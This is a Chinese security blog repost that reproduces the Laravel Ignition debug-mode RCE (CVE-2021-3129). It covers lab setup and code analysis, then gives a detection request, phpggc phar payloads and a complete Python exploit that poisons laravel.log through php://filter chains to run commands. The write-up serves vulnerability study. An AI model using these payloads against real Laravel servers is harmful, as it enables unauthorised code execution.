Laravel Debug mode RCE复现

admin 2023年4月8日17:53:00评论54 views字数 8560阅读28分32秒阅读模式

漏洞概述

在Laravel8.4.2之前,由于Ignition组件(版本小于2.5.2)中MakeViewVariableOptionalSolution.php的file_get_contents()和file_put_contents()使用不安全,未经身份验证的远程攻击者可以执行任意代码。

Ignition:Laravel6.0开始Ignition成为默认的错误页面,具有一些美观的 Laravel 特定功能,可以使调试异常和堆栈跟踪变得更加方便。在Solutions目录下定义了一些特定情况下的solutions,可以通过点击修复按钮时执行run 函数完成调用。更多内容可以通过文章Laravel Ignition 功能全解析了解。

影响范围

  • Laravel<=8.4.2

  • Ignition组件<2.5.2

环境搭建

composer create-project --prefer-dist laravel/laravel laraveldemo 8.4.2cd laraveldemocomposer install # 运行报错的看下面和我遇到的问题是不是一样的composer require facade/ignition==2.5.1 # 下载有漏洞的组件php artisan key:generate # 生成密钥php artisan serve --host=0.0.0.0 # 启动服务

检查.env中APP_DEBUG是否开启

问题

Q:不能运行composer install命令


错误信息:Problem 1 - phpunit/phpunit[9.3.3, ..., 9.5.x-dev] require ext-dom * -> it is missing from your system. Install or enable PHP's dom extension. - Root composer.json requires phpunit/phpunit ^9.3.3 -> satisfiable by phpunit/phpunit[9.3.3, ..., 9.5.x-dev].

Asudo apt-get install php-xml

漏洞分析

触发solution

通过上面的介绍我们可知solution的触发方法是通过修复按钮,究其原因还是向_ignition/execute-solution路由发送数据调用对应的solution:

vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php/ExecuteSolutionController

class ExecuteSolutionController{    use ValidatesRequests;
public function __invoke( ExecuteSolutionRequest $request, SolutionProviderRepository $solutionProviderRepository ) { $solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response(''); }}

然后进入vendor/facade/ignition/src/Http/Requests/ExecuteSolutionRequest.php查找solution并定义参数规则:

参数规则

public function rules(): array{    return [        'solution' => 'required',        'parameters' => 'array',    ];}

file_get_contents()

知道参数规则再结合solution内部定义的getRunParameters方法我们可以知道该传什么值。

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution/MakeViewVariableOptionalSolution::getRunParameters

public function getRunParameters(): array{    return [        'variableName' => $this->variableName,        'viewFile' => $this->viewFile,    ];}

POST传

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve-2021-2149&parameters[viewFile]=tyskill

直接进入run函数

public function run(array $parameters = []){    $output = $this->makeOptional($parameters);    if ($output !== false) {        file_put_contents($parameters['viewFile'], $output);    }}

然后进入makeOptional函数

public function makeOptional(array $parameters = []){    $originalContents = file_get_contents($parameters['viewFile']);    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents)); $newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) { return false; }
return $newContents;}

可以看到传入的viewFile参数直接被file_get_contents读取,没有经过任何过滤。当然,这里还不是终点,还要看看后面有没有对读取内容作出修改。不过对于我们传入的tyskill这个字符串来说,这里已经是它的终点了,因为file_get_contents读不到这个文件,那就换一个可以读到的/etc/passwd,读取的内容再经过'$'.$parameters['variableName']的替换后赋给了$newContents变量,不是很理解为什么要这样替换,继续向下看。

文件内容过滤(maybe)

替换后的文件内容经过token_get_all解析(解析参照解析器代号列表文档说明)赋值给newtokens,然后与经过generateExpectedTokens方法处理的originalTokens变量比较

看一下generateExpectedTokens方法

protected function generateExpectedTokens(array $originalTokens, string $variableName): array{    $expectedTokens = [];    foreach ($originalTokens as $token) {        $expectedTokens[] = $token;        if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];            $expectedTokens[] = [T_COALESCE, '??', $token[2]];            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];            $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];        }    }
return $expectedTokens;}

这段代码看起来麻烦,但逻辑很简单,就是在'$'.$variableName后面添加空格??空格'',与上面的正则替换差不多。

本地尝试了两种方法的比较后明白了区别,由于token_get_all解析结果与是否满足php结构有关,所以文件内容是否满足php结构就非常重要,通过下面代码可知这样的过滤方法只适用于非php的且有$符号的文件(太菜了,想不出应用

<?phpfunction generateExpectedTokens(array $originalTokens, string $variableName): array{    $expectedTokens = [];    foreach ($originalTokens as $token) {        $expectedTokens[] = $token;        if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];            $expectedTokens[] = [T_COALESCE, '??', $token[2]];            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];            $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];        }    }
return $expectedTokens;}$parameters['variableName']="a";$originalContents = "abc"; // false// $originalContents = "$a;$a;"; // true// $originalContents = "<?php $a;$a;"; // false$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);$originalTokens = token_get_all($originalContents);$newTokens = token_get_all($newContents);$conTokens = generateExpectedTokens($originalTokens, $parameters['variableName']);// var_dump($originalTokens);// var_dump($newTokens);var_dump($conTokens!==$newTokens);

不过正常来说这玩意看着也过滤不了什么吧?变量名都是可控的,绕一下也不是很困难。。。后面就没什么过滤了,直接就file_put_contents($parameters['viewFile'], $output);写回到原文件了。

漏洞利用

这个漏洞应该相当于一个任意操作的file_get_contents()函数,攻击面完全取决于知识面。

漏洞验证

Accept: application/json可加可不加

POST /_ignition/execute-solution HTTP/1.1Host: 192.168.150.130:8000Accept: application/jsonContent-Type: application/jsonContent-Length: 177
{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "cve-2021-3129", "viewFile": "tyskill" }}

除此之外,寻常的POST传值也可以使用

注意:这种方法在不同的插件中POST效果不同,主要是因为\在POST时有的插件不会将其转义为,POST数据编码会出现%5C%5c,只要将其改为%5C即可。

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=tyskill

出现报错页面即存在此漏洞

phar反序列化RCE

从phpggc拿一条可用的链子生成phar图片

php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /var/www/html/tyskill.gif

然后POST向/_ignition/execute-solution

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=phar:///var/www/html/tyskill.gif/test.txt

Poc

#!/usr/bin/env python3import requestsimport subprocessimport reimport osimport sys

# Send a post request with a specific viewFile value, returning HTTP responsedef send(url='', viewfile=''): headers = { "Accept": "application/json" } data = { "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "whateverYouWant", "viewFile": "" } } data['parameters']['viewFile'] = viewfile resp = requests.post(url, json=data, headers=headers, verify=False) return resp

# Generate payload and return it as textdef generate(chain='', command=''): # Ensure that we have PHPGGC in current directory, if not we'll clone it if os.path.exists("phpggc"): print("[+] PHPGGC found. Generating payload and deploy it to the target") else: print("[i] PHPGGC not found. Cloning it") os.system("git clone https://github.com/ambionics/phpggc.git") payload = subprocess.getoutput( r"php -d'phar.readonly=0' ./phpggc/phpggc '%s' system '%s' --phar phar -o php://output | base64 -w0 | " r"sed -E 's/./=00/g; s/==/=3D=/g; s/$/=00/g'" % (chain, command)) return payload

# Clear logs,def clear(url): print("[i] Trying to clear logs") while (send(url, "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf" "-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log").status_code != 200): continue print("[+] Logs cleared")

if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: %s <URL> <CHAIN> <CMD>" % sys.argv[0]) print("Example: %s http(s)://localhost:8000 Monolog/RCE1 whoami" % sys.argv[0]) print("I recommend to use Monolog/RCE1 or Monolog/RCE2 as CHAIN") exit(1) url = sys.argv[1] + "/_ignition/execute-solution" chain = sys.argv[2] command = sys.argv[3]
# Step 1. Clear logs, write the first log entry clear(url) send(url, "AA")
# Step 3. Write the second log entry with encoded PHAR payload send(url, generate(chain, command))
# Step 4. Convert log file to a valid PHAR if (send(url, "php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64" "-decode/resource=../storage/logs/laravel.log").status_code == 200): print("[+] Successfully converted logs to PHAR") else: print("[-] Fail to convert logs to PHAR")
# Step 5. Trigger PHAR deserialization, extract the output response = send(url, "phar://../storage/logs/laravel.log") result = re.sub("{[sS]*}", "", response.text) if result: print("[+] PHAR deserialized. Exploitedn") print(result) else: print("[i] There is no output")
# Clear logs clear(url)

参考链接

https://tyskill.github.io/posts/cve_2021_3129/https://www.anquanke.com/post/id/231459https://github.com/nth347/CVE-2021-3129_exploit/blob/master/exploit.py



Laravel Debug mode RCE复现


本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。


原文始发于微信公众号(无问之路):Laravel Debug mode RCE复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月8日17:53:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Laravel Debug mode RCE复现https://cn-sec.com/archives/1661629.html

发表评论

匿名网友 填写信息